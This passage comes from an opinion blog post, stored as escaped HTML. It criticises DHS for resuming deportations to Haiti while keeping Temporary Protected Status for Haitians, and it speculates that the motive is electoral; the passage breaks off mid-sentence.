Haitian deportations have been restricted since the major earthquake in 2010 \u2013 although deportations of those who committed serious crimes or represented a security threat were resumed in 2011. DHS said the decision to resume deportations had been based on the fact that conditions in Haiti have recovered sufficiently from the earthquake to eliminate the need for special provisions.<\/p>\n<p><span style=\"line-height: 1.5em;\">What makes no sense is the announcement of renewed deportations also contained an explicit exemption for Haitians who have been granted <a title=\"Temporary? Protected Status\" href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2014\/10\/20\/temporary-protected-status\/\">Temporary Protected Status<\/a> (TPS). TPS for Haitians in the U.S. <a title=\"Executive Overreach for Haitians\" href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2015\/01\/30\/executive-overreach-for-haitians\/\">was established in 2010<\/a> because of the earthquake and served as a means to shelter Haitians illegally in the U.S. from deportation. If the conditions in Haiti have improved sufficiently to permit normal deportations, they have improved sufficiently to terminate TPS.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">But, if that were done, the work permits to the Haitian illegal aliens would also expire, and some of those Haitians might lose their jobs.\u00a0 And that could attract unwanted news coverage as we get closer to the presidential election. Do you suppose there is a relationship?<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">It seems on this one, the administration gets to have it both ways:\u00a0 the semblance of a hardening of the line on deportations to appease those concerned about immigration, while assuring those wanting open borders that there will be <a title=\"Record?
